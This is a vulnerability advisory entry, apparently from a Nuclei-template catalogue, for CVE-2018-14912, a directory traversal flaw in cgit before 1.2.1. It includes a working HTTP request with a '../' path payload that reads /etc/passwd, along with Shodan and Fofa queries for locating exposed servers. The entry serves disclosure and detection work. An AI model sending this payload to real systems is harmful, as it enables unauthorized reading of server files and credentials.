| Title | cgit < 1.2.1 - Directory Traversal |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Unauthenticated attackers can access arbitrary files on the server through path traversal in cgit when HTTP clone functionality is enabled, potentially exposing sensitive repository data, source code, configuration files, and credentials. |
| Remediation | Upgrade cgit to version 1.2.1 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91584 |
| CVE ID | CVE-2018-14912 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"git repository browser" |
| Fofa Query | title="git repository browser" |
| Tags | cve cve2018 cgit lfi cgit_project vkev vuln |
cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when enable-http-clone=1 is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.
GET /cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14912.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-14912.pcap
N/AN/A